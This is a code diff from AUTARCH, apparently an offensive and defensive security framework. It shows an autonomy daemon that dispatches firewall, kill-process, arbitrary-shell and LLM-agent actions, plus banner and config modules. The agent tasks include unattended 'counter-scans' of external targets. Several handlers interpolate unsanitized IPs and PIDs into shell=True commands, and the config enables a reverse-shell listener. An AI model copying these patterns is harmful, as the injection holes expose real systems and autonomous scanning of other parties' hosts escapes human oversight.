"""Current daemon status."""
|
||||
settings = self.config.get_autonomy_settings()
|
||||
with self._agent_lock:
|
||||
active = len(self._active_agents)
|
||||
return {
|
||||
'running': self._running,
|
||||
'paused': self._paused,
|
||||
'enabled': settings['enabled'],
|
||||
'monitor_interval': settings['monitor_interval'],
|
||||
'rule_eval_interval': settings['rule_eval_interval'],
|
||||
'active_agents': active,
|
||||
'max_agents': settings['max_concurrent_agents'],
|
||||
'rules_count': len(self.rules_engine.get_all_rules()),
|
||||
'activity_count': len(self._activity),
|
||||
}
|
||||
|
||||
def start(self) -> bool:
|
||||
"""Start the autonomy daemon background thread."""
|
||||
if self._running:
|
||||
_logger.warning('[Autonomy] Already running')
|
||||
return False
|
||||
|
||||
self._router = get_model_router()
|
||||
self._running = True
|
||||
self._paused = False
|
||||
self._stop_event.clear()
|
||||
|
||||
self._thread = threading.Thread(
|
||||
target=self._run_loop,
|
||||
name='AutonomyDaemon',
|
||||
daemon=True,
|
||||
)
|
||||
self._thread.start()
|
||||
self._log_activity('system', 'Autonomy daemon started')
|
||||
_logger.info('[Autonomy] Daemon started')
|
||||
return True
|
||||
|
||||
def stop(self):
|
||||
"""Stop the daemon and wait for thread exit."""
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
self._stop_event.set()
|
||||
if self._thread and self._thread.is_alive():
|
||||
self._thread.join(timeout=10)
|
||||
self._log_activity('system', 'Autonomy daemon stopped')
|
||||
_logger.info('[Autonomy] Daemon stopped')
|
||||
|
||||
def pause(self):
|
||||
"""Pause rule evaluation (monitoring continues)."""
|
||||
self._paused = True
|
||||
self._log_activity('system', 'Autonomy paused')
|
||||
_logger.info('[Autonomy] Paused')
|
||||
|
||||
def resume(self):
|
||||
"""Resume rule evaluation."""
|
||||
self._paused = False
|
||||
self._log_activity('system', 'Autonomy resumed')
|
||||
_logger.info('[Autonomy] Resumed')
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Main loop
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _run_loop(self):
|
||||
"""Background loop: gather context, evaluate rules, dispatch."""
|
||||
settings = self.config.get_autonomy_settings()
|
||||
monitor_interval = settings['monitor_interval']
|
||||
rule_eval_interval = settings['rule_eval_interval']
|
||||
last_rule_eval = 0
|
||||
|
||||
while self._running and not self._stop_event.is_set():
|
||||
try:
|
||||
# Gather threat context every cycle
|
||||
context = self._gather_context()
|
||||
|
||||
# Evaluate rules at a slower cadence
|
||||
now = time.time()
|
||||
if not self._paused and (now - last_rule_eval) >= rule_eval_interval:
|
||||
last_rule_eval = now
|
||||
self._evaluate_and_dispatch(context)
|
||||
|
||||
except Exception as e:
|
||||
_logger.error(f'[Autonomy] Loop error: {e}')
|
||||
self._log_activity('error', f'Loop error: {e}', success=False)
|
||||
|
||||
# Sleep in short increments so stop is responsive
|
||||
self._stop_event.wait(timeout=monitor_interval)
|
||||
|
||||
def _gather_context(self) -> Dict[str, Any]:
|
||||
"""Gather current threat context from ThreatMonitor."""
|
||||
try:
|
||||
from modules.defender_monitor import get_threat_monitor
|
||||
tm = get_threat_monitor()
|
||||
except ImportError:
|
||||
_logger.warning('[Autonomy] ThreatMonitor not available')
|
||||
return {'timestamp': datetime.now().isoformat()}
|
||||
|
||||
context: Dict[str, Any] = {
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
}
|
||||
|
||||
try:
|
||||
context['connections'] = tm.get_connections()
|
||||
context['connection_count'] = len(context['connections'])
|
||||
except Exception:
|
||||
context['connections'] = []
|
||||
context['connection_count'] = 0
|
||||
|
||||
try:
|
||||
context['bandwidth'] = {}
|
||||
bw = tm.get_bandwidth()
|
||||
if bw:
|
||||
total_rx = sum(iface.get('rx_delta', 0) for iface in bw)
|
||||
total_tx = sum(iface.get('tx_delta', 0) for iface in bw)
|
||||
context['bandwidth'] = {
|
||||
'rx_mbps': (total_rx * 8) / 1_000_000,
|
||||
'tx_mbps': (total_tx * 8) / 1_000_000,
|
||||
'interfaces': bw,
|
||||
}
|
||||
except Exception:
|
||||
context['bandwidth'] = {'rx_mbps': 0, 'tx_mbps': 0}
|
||||
|
||||
try:
|
||||
context['arp_alerts'] = tm.check_arp_spoofing()
|
||||
except Exception:
|
||||
context['arp_alerts'] = []
|
||||
|
||||
try:
|
||||
context['new_ports'] = tm.check_new_listening_ports()
|
||||
except Exception:
|
||||
context['new_ports'] = []
|
||||
|
||||
try:
|
||||
context['threat_score'] = tm.calculate_threat_score()
|
||||
except Exception:
|
||||
context['threat_score'] = {'score': 0, 'level': 'LOW', 'details': []}
|
||||
|
||||
try:
|
||||
context['ddos'] = tm.detect_ddos()
|
||||
except Exception:
|
||||
context['ddos'] = {'under_attack': False}
|
||||
|
||||
try:
|
||||
context['scan_indicators'] = tm.check_port_scan_indicators()
|
||||
if isinstance(context['scan_indicators'], list):
|
||||
context['scan_indicators'] = len(context['scan_indicators'])
|
||||
except Exception:
|
||||
context['scan_indicators'] = 0
|
||||
|
||||
return context
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Rule evaluation and dispatch
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _evaluate_and_dispatch(self, context: Dict[str, Any]):
|
||||
"""Evaluate rules and dispatch matching actions."""
|
||||
matches = self.rules_engine.evaluate(context)
|
||||
|
||||
for rule, resolved_actions in matches:
|
||||
for action in resolved_actions:
|
||||
action_type = action.get('type', '')
|
||||
_logger.info(f'[Autonomy] Rule "{rule.name}" triggered -> {action_type}')
|
||||
|
||||
if self._is_agent_action(action_type):
|
||||
self._dispatch_agent(rule, action, context)
|
||||
else:
|
||||
self._dispatch_direct(rule, action, context)
|
||||
|
||||
def _is_agent_action(self, action_type: str) -> bool:
|
||||
"""Check if an action requires an AI agent."""
|
||||
return action_type in ('run_module', 'counter_scan', 'escalate_to_lam')
|
||||
|
||||
def _dispatch_direct(self, rule: Rule, action: dict, context: dict):
|
||||
"""Execute a simple action directly (no LLM needed)."""
|
||||
action_type = action.get('type', '')
|
||||
start = time.time()
|
||||
success = True
|
||||
result = ''
|
||||
|
||||
try:
|
||||
if action_type == 'block_ip':
|
||||
result = self._action_block_ip(action.get('ip', ''))
|
||||
|
||||
elif action_type == 'unblock_ip':
|
||||
result = self._action_unblock_ip(action.get('ip', ''))
|
||||
|
||||
elif action_type == 'rate_limit_ip':
|
||||
result = self._action_rate_limit(
|
||||
action.get('ip', ''),
|
||||
action.get('rate', '10/s'),
|
||||
)
|
||||
|
||||
elif action_type == 'block_port':
|
||||
result = self._action_block_port(
|
||||
action.get('port', ''),
|
||||
action.get('direction', 'inbound'),
|
||||
)
|
||||
|
||||
elif action_type == 'kill_process':
|
||||
result = self._action_kill_process(action.get('pid', ''))
|
||||
|
||||
elif action_type in ('alert', 'log_event'):
|
||||
result = action.get('message', 'No message')
|
||||
|
||||
elif action_type == 'run_shell':
|
||||
result = self._action_run_shell(action.get('command', ''))
|
||||
|
||||
else:
|
||||
result = f'Unknown action type: {action_type}'
|
||||
success = False
|
||||
|
||||
except Exception as e:
|
||||
result = f'Error: {e}'
|
||||
success = False
|
||||
|
||||
duration = int((time.time() - start) * 1000)
|
||||
detail = action.get('ip', '') or action.get('port', '') or action.get('message', '')[:80]
|
||||
self._log_activity(
|
||||
action_type, detail,
|
||||
rule_id=rule.id, rule_name=rule.name,
|
||||
result=result, success=success, duration_ms=duration,
|
||||
)
|
||||
|
||||
def _dispatch_agent(self, rule: Rule, action: dict, context: dict):
|
||||
"""Spawn an AI agent to handle a complex action."""
|
||||
settings = self.config.get_autonomy_settings()
|
||||
max_agents = settings['max_concurrent_agents']
|
||||
|
||||
# Clean finished agents
|
||||
with self._agent_lock:
|
||||
self._active_agents = {
|
||||
k: v for k, v in self._active_agents.items()
|
||||
if v.is_alive()
|
||||
}
|
||||
if len(self._active_agents) >= max_agents:
|
||||
_logger.warning('[Autonomy] Max agents reached, skipping')
|
||||
self._log_activity(
|
||||
action.get('type', 'agent'), 'Skipped: max agents reached',
|
||||
rule_id=rule.id, rule_name=rule.name,
|
||||
success=False,
|
||||
)
|
||||
return
|
||||
|
||||
agent_id = str(uuid.uuid4())[:8]
|
||||
action_type = action.get('type', '')
|
||||
|
||||
# Determine tier
|
||||
if action_type == 'escalate_to_lam':
|
||||
tier = ModelTier.LAM
|
||||
else:
|
||||
tier = ModelTier.SAM
|
||||
|
||||
t = threading.Thread(
|
||||
target=self._run_agent,
|
||||
args=(agent_id, tier, rule, action, context),
|
||||
name=f'Agent-{agent_id}',
|
||||
daemon=True,
|
||||
)
|
||||
|
||||
with self._agent_lock:
|
||||
self._active_agents[agent_id] = t
|
||||
|
||||
t.start()
|
||||
self._log_activity(
|
||||
action_type, f'Agent {agent_id} spawned ({tier.value})',
|
||||
rule_id=rule.id, rule_name=rule.name, tier=tier.value,
|
||||
)
|
||||
|
||||
def _run_agent(self, agent_id: str, tier: ModelTier, rule: Rule,
|
||||
action: dict, context: dict):
|
||||
"""Execute an agent task in a background thread."""
|
||||
from .agent import Agent
|
||||
from .tools import get_tool_registry
|
||||
|
||||
action_type = action.get('type', '')
|
||||
start = time.time()
|
||||
|
||||
# Build task prompt
|
||||
if action_type == 'run_module':
|
||||
module = action.get('module', '')
|
||||
args = action.get('args', '')
|
||||
task = f'Run the AUTARCH module "{module}" with arguments: {args}'
|
||||
|
||||
elif action_type == 'counter_scan':
|
||||
target = action.get('target', '')
|
||||
task = f'Perform a counter-scan against {target}. Gather reconnaissance and identify vulnerabilities.'
|
||||
|
||||
elif action_type == 'escalate_to_lam':
|
||||
task = action.get('task', 'Analyze the current threat landscape and recommend actions.')
|
||||
|
||||
else:
|
||||
task = f'Execute action: {action_type} with params: {json.dumps(action)}'
|
||||
|
||||
# Get LLM instance for the tier
|
||||
router = self._router or get_model_router()
|
||||
llm_inst = router.get_instance(tier)
|
||||
|
||||
if llm_inst is None or not llm_inst.is_loaded:
|
||||
# Try fallback
|
||||
for fallback in (ModelTier.SAM, ModelTier.LAM):
|
||||
llm_inst = router.get_instance(fallback)
|
||||
if llm_inst and llm_inst.is_loaded:
|
||||
tier = fallback
|
||||
break
|
||||
else:
|
||||
self._log_activity(
|
||||
action_type, f'Agent {agent_id}: no model loaded',
|
||||
rule_id=rule.id, rule_name=rule.name,
|
||||
tier=tier.value, success=False,
|
||||
result='No model available for agent execution',
|
||||
)
|
||||
return
|
||||
|
||||
try:
|
||||
agent = Agent(
|
||||
llm=llm_inst,
|
||||
tools=get_tool_registry(),
|
||||
max_steps=15,
|
||||
verbose=False,
|
||||
)
|
||||
result = agent.run(task)
|
||||
duration = int((time.time() - start) * 1000)
|
||||
|
||||
self._log_activity(
|
||||
action_type,
|
||||
f'Agent {agent_id}: {result.summary[:100]}',
|
||||
rule_id=rule.id, rule_name=rule.name,
|
||||
tier=tier.value, success=result.success,
|
||||
result=result.summary, duration_ms=duration,
|
||||
)
|
||||
|
||||
except Exception as e:
|
||||
duration = int((time.time() - start) * 1000)
|
||||
_logger.error(f'[Autonomy] Agent {agent_id} failed: {e}')
|
||||
self._log_activity(
|
||||
action_type, f'Agent {agent_id} failed: {e}',
|
||||
rule_id=rule.id, rule_name=rule.name,
|
||||
tier=tier.value, success=False,
|
||||
result=str(e), duration_ms=duration,
|
||||
)
|
||||
|
||||
finally:
|
||||
with self._agent_lock:
|
||||
self._active_agents.pop(agent_id, None)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Direct action implementations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _action_block_ip(self, ip: str) -> str:
|
||||
if not ip:
|
||||
return 'No IP specified'
|
||||
try:
|
||||
from modules.defender_monitor import get_threat_monitor
|
||||
tm = get_threat_monitor()
|
||||
tm.auto_block_ip(ip)
|
||||
return f'Blocked {ip}'
|
||||
except Exception as e:
|
||||
return f'Block failed: {e}'
|
||||
|
||||
def _action_unblock_ip(self, ip: str) -> str:
|
||||
if not ip:
|
||||
return 'No IP specified'
|
||||
try:
|
||||
import subprocess, platform
|
||||
if platform.system() == 'Windows':
|
||||
cmd = f'netsh advfirewall firewall delete rule name="AUTARCH Block {ip}"'
|
||||
else:
|
||||
cmd = f'iptables -D INPUT -s {ip} -j DROP 2>/dev/null; iptables -D OUTPUT -d {ip} -j DROP 2>/dev/null'
|
||||
subprocess.run(cmd, shell=True, capture_output=True, timeout=10)
|
||||
return f'Unblocked {ip}'
|
||||
except Exception as e:
|
||||
return f'Unblock failed: {e}'
|
||||
|
||||
def _action_rate_limit(self, ip: str, rate: str) -> str:
|
||||
if not ip:
|
||||
return 'No IP specified'
|
||||
try:
|
||||
from modules.defender_monitor import get_threat_monitor
|
||||
tm = get_threat_monitor()
|
||||
tm.apply_rate_limit(ip)
|
||||
return f'Rate limited {ip} at {rate}'
|
||||
except Exception as e:
|
||||
return f'Rate limit failed: {e}'
|
||||
|
||||
def _action_block_port(self, port: str, direction: str) -> str:
|
||||
if not port:
|
||||
return 'No port specified'
|
||||
try:
|
||||
import subprocess, platform
|
||||
if platform.system() == 'Windows':
|
||||
d = 'in' if direction == 'inbound' else 'out'
|
||||
cmd = f'netsh advfirewall firewall add rule name="AUTARCH Block Port {port}" dir={d} action=block protocol=TCP localport={port}'
|
||||
else:
|
||||
chain = 'INPUT' if direction == 'inbound' else 'OUTPUT'
|
||||
cmd = f'iptables -A {chain} -p tcp --dport {port} -j DROP'
|
||||
subprocess.run(cmd, shell=True, capture_output=True, timeout=10)
|
||||
return f'Blocked port {port} ({direction})'
|
||||
except Exception as e:
|
||||
return f'Block port failed: {e}'
|
||||
|
||||
def _action_kill_process(self, pid: str) -> str:
|
||||
if not pid:
|
||||
return 'No PID specified'
|
||||
try:
|
||||
import subprocess, platform
|
||||
if platform.system() == 'Windows':
|
||||
cmd = f'taskkill /F /PID {pid}'
|
||||
else:
|
||||
cmd = f'kill -9 {pid}'
|
||||
subprocess.run(cmd, shell=True, capture_output=True, timeout=10)
|
||||
return f'Killed process {pid}'
|
||||
except Exception as e:
|
||||
return f'Kill failed: {e}'
|
||||
|
||||
def _action_run_shell(self, command: str) -> str:
|
||||
if not command:
|
||||
return 'No command specified'
|
||||
try:
|
||||
import subprocess
|
||||
result = subprocess.run(
|
||||
command, shell=True, capture_output=True,
|
||||
text=True, timeout=30,
|
||||
)
|
||||
output = result.stdout[:500]
|
||||
if result.returncode != 0:
|
||||
output += f'\n[exit {result.returncode}]'
|
||||
return output.strip() or '[no output]'
|
||||
except Exception as e:
|
||||
return f'Shell failed: {e}'
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Activity log
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _log_activity(self, action_type: str, detail: str, *,
|
||||
rule_id: str = None, rule_name: str = None,
|
||||
tier: str = None, result: str = '',
|
||||
success: bool = True, duration_ms: int = None):
|
||||
"""Add an entry to the activity log and notify SSE subscribers."""
|
||||
entry = ActivityEntry(
|
||||
id=str(uuid.uuid4())[:8],
|
||||
timestamp=datetime.now().isoformat(),
|
||||
rule_id=rule_id,
|
||||
rule_name=rule_name,
|
||||
tier=tier,
|
||||
action_type=action_type,
|
||||
action_detail=detail,
|
||||
result=result,
|
||||
success=success,
|
||||
duration_ms=duration_ms,
|
||||
)
|
||||
|
||||
with self._activity_lock:
|
||||
self._activity.append(entry)
|
||||
|
||||
# Notify SSE subscribers
|
||||
self._notify_subscribers(entry)
|
||||
|
||||
# Persist periodically (every 10 entries)
|
||||
if len(self._activity) % 10 == 0:
|
||||
self._save_log()
|
||||
|
||||
def get_activity(self, limit: int = 50, offset: int = 0) -> List[dict]:
|
||||
"""Get recent activity entries."""
|
||||
with self._activity_lock:
|
||||
entries = list(self._activity)
|
||||
entries.reverse() # Newest first
|
||||
return [e.to_dict() for e in entries[offset:offset + limit]]
|
||||
|
||||
def get_activity_count(self) -> int:
|
||||
return len(self._activity)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# SSE streaming
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def subscribe(self):
|
||||
"""Create an SSE subscriber queue."""
|
||||
import queue
|
||||
q = queue.Queue(maxsize=100)
|
||||
with self._sub_lock:
|
||||
self._subscribers.append(q)
|
||||
return q
|
||||
|
||||
def unsubscribe(self, q):
|
||||
"""Remove an SSE subscriber."""
|
||||
with self._sub_lock:
|
||||
try:
|
||||
self._subscribers.remove(q)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
def _notify_subscribers(self, entry: ActivityEntry):
|
||||
"""Push an activity entry to all SSE subscribers."""
|
||||
data = json.dumps(entry.to_dict())
|
||||
with self._sub_lock:
|
||||
dead = []
|
||||
for q in self._subscribers:
|
||||
try:
|
||||
q.put_nowait(data)
|
||||
except Exception:
|
||||
dead.append(q)
|
||||
for q in dead:
|
||||
try:
|
||||
self._subscribers.remove(q)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Persistence
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _save_log(self):
|
||||
"""Persist activity log to JSON file."""
|
||||
try:
|
||||
self.LOG_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||
with self._activity_lock:
|
||||
entries = [e.to_dict() for e in self._activity]
|
||||
self.LOG_PATH.write_text(
|
||||
json.dumps({'entries': entries[-200:]}, indent=2),
|
||||
encoding='utf-8',
|
||||
)
|
||||
except Exception as e:
|
||||
_logger.error(f'[Autonomy] Failed to save log: {e}')
|
||||
|
||||
def _load_log(self):
|
||||
"""Load persisted activity log."""
|
||||
if not self.LOG_PATH.exists():
|
||||
return
|
||||
try:
|
||||
data = json.loads(self.LOG_PATH.read_text(encoding='utf-8'))
|
||||
for entry_dict in data.get('entries', []):
|
||||
entry = ActivityEntry(
|
||||
id=entry_dict.get('id', str(uuid.uuid4())[:8]),
|
||||
timestamp=entry_dict.get('timestamp', ''),
|
||||
rule_id=entry_dict.get('rule_id'),
|
||||
rule_name=entry_dict.get('rule_name'),
|
||||
tier=entry_dict.get('tier'),
|
||||
action_type=entry_dict.get('action_type', ''),
|
||||
action_detail=entry_dict.get('action_detail', ''),
|
||||
result=entry_dict.get('result', ''),
|
||||
success=entry_dict.get('success', True),
|
||||
duration_ms=entry_dict.get('duration_ms'),
|
||||
)
|
||||
self._activity.append(entry)
|
||||
_logger.info(f'[Autonomy] Loaded {len(self._activity)} log entries')
|
||||
except Exception as e:
|
||||
_logger.error(f'[Autonomy] Failed to load log: {e}')
|
||||
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Singleton
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
_daemon_instance: Optional[AutonomyDaemon] = None
|
||||
|
||||
|
||||
def get_autonomy_daemon() -> AutonomyDaemon:
|
||||
"""Get the global AutonomyDaemon instance."""
|
||||
global _daemon_instance
|
||||
if _daemon_instance is None:
|
||||
_daemon_instance = AutonomyDaemon()
|
||||
return _daemon_instance
|
||||
|
||||
|
||||
def reset_autonomy_daemon():
|
||||
"""Stop and reset the global daemon."""
|
||||
global _daemon_instance
|
||||
if _daemon_instance is not None:
|
||||
_daemon_instance.stop()
|
||||
_daemon_instance = None
|
||||
49
core/banner.py
Normal file
49
core/banner.py
Normal file
@@ -0,0 +1,49 @@
|
||||
"""
|
||||
AUTARCH Banner Module
|
||||
Displays the main ASCII banner for the framework
|
||||
"""
|
||||
|
||||
# ANSI color codes
|
||||
class Colors:
|
||||
RED = '\033[91m'
|
||||
GREEN = '\033[92m'
|
||||
YELLOW = '\033[93m'
|
||||
BLUE = '\033[94m'
|
||||
MAGENTA = '\033[95m'
|
||||
CYAN = '\033[96m'
|
||||
WHITE = '\033[97m'
|
||||
BOLD = '\033[1m'
|
||||
DIM = '\033[2m'
|
||||
RESET = '\033[0m'
|
||||
|
||||
|
||||
BANNER = f"""{Colors.RED}{Colors.BOLD}
|
||||
▄▄▄ █ ██ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄████▄ ██░ ██
|
||||
▒████▄ ██ ▓██▒▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▒██▀ ▀█ ▓██░ ██▒
|
||||
▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒▓█ ▄ ▒██▀▀██░
|
||||
░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒▓▓▄ ▄██▒░▓█ ░██
|
||||
▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒▒ ▓███▀ ░░▓█▒░██▓
|
||||
▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ░▒ ▒ ░ ▒ ░░▒░▒
|
||||
▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░
|
||||
░ ▒ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░
|
||||
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
|
||||
░
|
||||
{Colors.RESET}{Colors.CYAN} By darkHal and Setec Security Labs.{Colors.RESET}
|
||||
{Colors.DIM}═══════════════════════════════════════════════════════════════════{Colors.RESET}
|
||||
"""
|
||||
|
||||
|
||||
def display_banner():
|
||||
"""Print the AUTARCH banner to the console."""
|
||||
print(BANNER)
|
||||
|
||||
|
||||
def clear_screen():
|
||||
"""Clear the terminal screen."""
|
||||
import os
|
||||
os.system('clear' if os.name == 'posix' else 'cls')
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
clear_screen()
|
||||
display_banner()
|
||||
586
core/config.py
Normal file
586
core/config.py
Normal file
@@ -0,0 +1,586 @@
|
||||
"""
|
||||
AUTARCH Configuration Handler
|
||||
Manages the autarch_settings.conf file for llama.cpp settings
|
||||
"""
|
||||
|
||||
import os
|
||||
import configparser
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
class Config:
|
||||
"""Configuration manager for AUTARCH settings."""
|
||||
|
||||
DEFAULT_CONFIG = {
|
||||
'llama': {
|
||||
'model_path': '',
|
||||
'n_ctx': '4096',
|
||||
'n_threads': '4',
|
||||
'n_gpu_layers': '0',
|
||||
'gpu_backend': 'cpu',
|
||||
'temperature': '0.7',
|
||||
'top_p': '0.9',
|
||||
'top_k': '40',
|
||||
'repeat_penalty': '1.1',
|
||||
'max_tokens': '2048',
|
||||
'seed': '-1',
|
||||
},
|
||||
'autarch': {
|
||||
'first_run': 'true',
|
||||
'modules_path': 'modules',
|
||||
'verbose': 'false',
|
||||
'quiet': 'false',
|
||||
'no_banner': 'false',
|
||||
'llm_backend': 'local',
|
||||
},
|
||||
'claude': {
|
||||
'api_key': '',
|
||||
'model': 'claude-sonnet-4-20250514',
|
||||
'max_tokens': '4096',
|
||||
'temperature': '0.7',
|
||||
},
|
||||
'osint': {
|
||||
'max_threads': '8',
|
||||
'timeout': '8',
|
||||
'include_nsfw': 'false',
|
||||
},
|
||||
'pentest': {
|
||||
'max_pipeline_steps': '50',
|
||||
'output_chunk_size': '2000',
|
||||
'auto_execute': 'false',
|
||||
'save_raw_output': 'true',
|
||||
},
|
||||
'transformers': {
|
||||
'model_path': '',
|
||||
'device': 'auto',
|
||||
'torch_dtype': 'auto',
|
||||
'load_in_8bit': 'false',
|
||||
'load_in_4bit': 'false',
|
||||
'trust_remote_code': 'false',
|
||||
'max_tokens': '2048',
|
||||
'temperature': '0.7',
|
||||
'top_p': '0.9',
|
||||
'top_k': '40',
|
||||
'repetition_penalty': '1.1',
|
||||
},
|
||||
'rsf': {
|
||||
'install_path': '',
|
||||
'enabled': 'true',
|
||||
'default_target': '',
|
||||
'default_port': '80',
|
||||
'execution_timeout': '120',
|
||||
},
|
||||
'upnp': {
|
||||
'enabled': 'true',
|
||||
'internal_ip': '10.0.0.26',
|
||||
'refresh_hours': '12',
|
||||
'mappings': '443:TCP,51820:UDP,8181:TCP',
|
||||
},
|
||||
'web': {
|
||||
'host': '0.0.0.0',
|
||||
'port': '8181',
|
||||
'secret_key': '',
|
||||
'mcp_port': '8081',
|
||||
},
|
||||
'revshell': {
|
||||
'enabled': 'true',
|
||||
'host': '0.0.0.0',
|
||||
'port': '17322',
|
||||
'auto_start': 'false',
|
||||
},
|
||||
'slm': {
|
||||
'enabled': 'true',
|
||||
'backend': 'local',
|
||||
'model_path': '',
|
||||
'n_ctx': '512',
|
||||
'n_gpu_layers': '-1',
|
||||
'n_threads': '2',
|
||||
},
|
||||
'sam': {
|
||||
'enabled': 'true',
|
||||
'backend': 'local',
|
||||
'model_path': '',
|
||||
'n_ctx': '2048',
|
||||
'n_gpu_layers': '-1',
|
||||
'n_threads': '4',
|
||||
},
|
||||
'lam': {
|
||||
'enabled': 'true',
|
||||
'backend': 'local',
|
||||
'model_path': '',
|
||||
'n_ctx': '4096',
|
||||
'n_gpu_layers': '-1',
|
||||
'n_threads': '4',
|
||||
},
|
||||
'autonomy': {
|
||||
'enabled': 'false',
|
||||
'monitor_interval': '3',
|
||||
'rule_eval_interval': '5',
|
||||
'max_concurrent_agents': '3',
|
||||
'threat_threshold_auto_respond': '40',
|
||||
'log_max_entries': '1000',
|
||||
},
|
||||
}
|
||||
|
||||
def __init__(self, config_path: str = None):
|
||||
"""Initialize the configuration manager.
|
||||
|
||||
Args:
|
||||
config_path: Path to the configuration file. Defaults to autarch_settings.conf
|
||||
in the framework directory.
|
||||
"""
|
||||
if config_path is None:
|
||||
from core.paths import get_config_path
|
||||
self.config_path = get_config_path()
|
||||
else:
|
||||
self.config_path = Path(config_path)
|
||||
|
||||
self.config = configparser.ConfigParser()
|
||||
self._load_or_create()
|
||||
|
||||
def _load_or_create(self):
|
||||
"""Load existing config or create with defaults."""
|
||||
if self.config_path.exists():
|
||||
self.config.read(self.config_path)
|
||||
self._apply_missing_defaults()
|
||||
else:
|
||||
self._create_default_config()
|
||||
|
||||
def _apply_missing_defaults(self):
|
||||
"""Add any missing sections/keys from DEFAULT_CONFIG to the loaded config."""
|
||||
changed = False
|
||||
for section, options in self.DEFAULT_CONFIG.items():
|
||||
if section not in self.config:
|
||||
self.config[section] = options
|
||||
changed = True
|
||||
else:
|
||||
for key, value in options.items():
|
||||
if key not in self.config[section]:
|
||||
self.config[section][key] = value
|
||||
changed = True
|
||||
if changed:
|
||||
self.save()
|
||||
|
||||
def _create_default_config(self):
|
||||
"""Create a default configuration file."""
|
||||
for section, options in self.DEFAULT_CONFIG.items():
|
||||
self.config[section] = options
|
||||
self.save()
|
||||
|
||||
def save(self):
|
||||
"""Save the current configuration to file."""
|
||||
with open(self.config_path, 'w') as f:
|
||||
self.config.write(f)
|
||||
|
||||
def get(self, section: str, key: str, fallback=None):
|
||||
"""Get a configuration value.
|
||||
|
||||
Args:
|
||||
section: Configuration section name
|
||||
key: Configuration key name
|
||||
fallback: Default value if key doesn't exist
|
||||
|
||||
Returns:
|
||||
The configuration value or fallback
|
||||
"""
|
||||
value = self.config.get(section, key, fallback=fallback)
|
||||
# Strip quotes from values (handles paths with spaces that were quoted)
|
||||
if value and isinstance(value, str):
|
||||
value = value.strip().strip('"').strip("'")
|
||||
return value
|
||||
|
||||
def get_int(self, section: str, key: str, fallback: int = 0) -> int:
|
||||
"""Get a configuration value as integer."""
|
||||
return self.config.getint(section, key, fallback=fallback)
|
||||
|
||||
def get_float(self, section: str, key: str, fallback: float = 0.0) -> float:
|
||||
"""Get a configuration value as float."""
|
||||
return self.config.getfloat(section, key, fallback=fallback)
|
||||
|
||||
def get_bool(self, section: str, key: str, fallback: bool = False) -> bool:
|
||||
"""Get a configuration value as boolean."""
|
||||
return self.config.getboolean(section, key, fallback=fallback)
|
||||
|
||||
def set(self, section: str, key: str, value):
|
||||
"""Set a configuration value.
|
||||
|
||||
Args:
|
||||
section: Configuration section name
|
||||
key: Configuration key name
|
||||
value: Value to set
|
||||
"""
|
||||
if section not in self.config:
|
||||
self.config[section] = {}
|
||||
self.config[section][key] = str(value)
|
||||
|
||||
def is_first_run(self) -> bool:
|
||||
"""Check if this is the first run of AUTARCH."""
|
||||
return self.get_bool('autarch', 'first_run', fallback=True)
|
||||
|
||||
def mark_setup_complete(self):
|
||||
"""Mark the first-time setup as complete."""
|
||||
self.set('autarch', 'first_run', 'false')
|
||||
self.save()
|
||||
|
||||
def get_llama_settings(self) -> dict:
|
||||
"""Get all llama.cpp settings as a dictionary.
|
||||
|
||||
Returns:
|
||||
Dictionary with llama.cpp settings properly typed
|
||||
"""
|
||||
return {
|
||||
'model_path': self.get('llama', 'model_path', ''),
|
||||
'n_ctx': self.get_int('llama', 'n_ctx', 4096),
|
||||
'n_threads': self.get_int('llama', 'n_threads', 4),
|
||||
'n_gpu_layers': self.get_int('llama', 'n_gpu_layers', 0),
|
||||
'gpu_backend': self.get('llama', 'gpu_backend', 'cpu'),
|
||||
'temperature': self.get_float('llama', 'temperature', 0.7),
|
||||
'top_p': self.get_float('llama', 'top_p', 0.9),
|
||||
'top_k': self.get_int('llama', 'top_k', 40),
|
||||
'repeat_penalty': self.get_float('llama', 'repeat_penalty', 1.1),
|
||||
'max_tokens': self.get_int('llama', 'max_tokens', 2048),
|
||||
'seed': self.get_int('llama', 'seed', -1),
|
||||
}
|
||||
|
||||
def get_osint_settings(self) -> dict:
|
||||
"""Get all OSINT settings as a dictionary.
|
||||
|
||||
Returns:
|
||||
Dictionary with OSINT settings properly typed
|
||||
"""
|
||||
return {
|
||||
'max_threads': self.get_int('osint', 'max_threads', 8),
|
||||
'timeout': self.get_int('osint', 'timeout', 8),
|
||||
'include_nsfw': self.get_bool('osint', 'include_nsfw', False),
|
||||
}
|
||||
|
||||
